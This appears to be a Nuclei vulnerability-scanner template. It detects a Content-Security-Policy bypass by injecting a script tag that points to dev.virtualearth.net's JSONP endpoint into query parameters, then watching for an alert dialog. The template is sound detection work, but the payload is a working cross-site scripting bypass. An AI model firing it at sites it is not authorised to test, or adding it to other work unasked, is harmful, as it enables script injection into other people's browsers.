virtualearth-dev-csp-bypass: Content-Security-Policy Bypass - Virtual Earth Dev

id: virtualearth-dev-csp-bypass

info:
  name: Content-Security-Policy Bypass - Virtual Earth Dev
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,virtualearth-dev,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "virtualearth.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: virtualearth_dev_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://dev.virtualearth.net/REST/v1/Imagery/Metadata/Road?jsonp=alert(document.domain);//"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "virtualearth_dev_csp_xss == true"
# digest: 4a0a0047304502201a65f14018730d6be17e63cd356b85916bbb0f8bbecd825b4ff0f48b61fb189f022100ff0a4acb51f943c2828e6b89ff5a3e082de1281ccac91410a1036717ac89429a:922c64590222798bb761d5b6d8e72950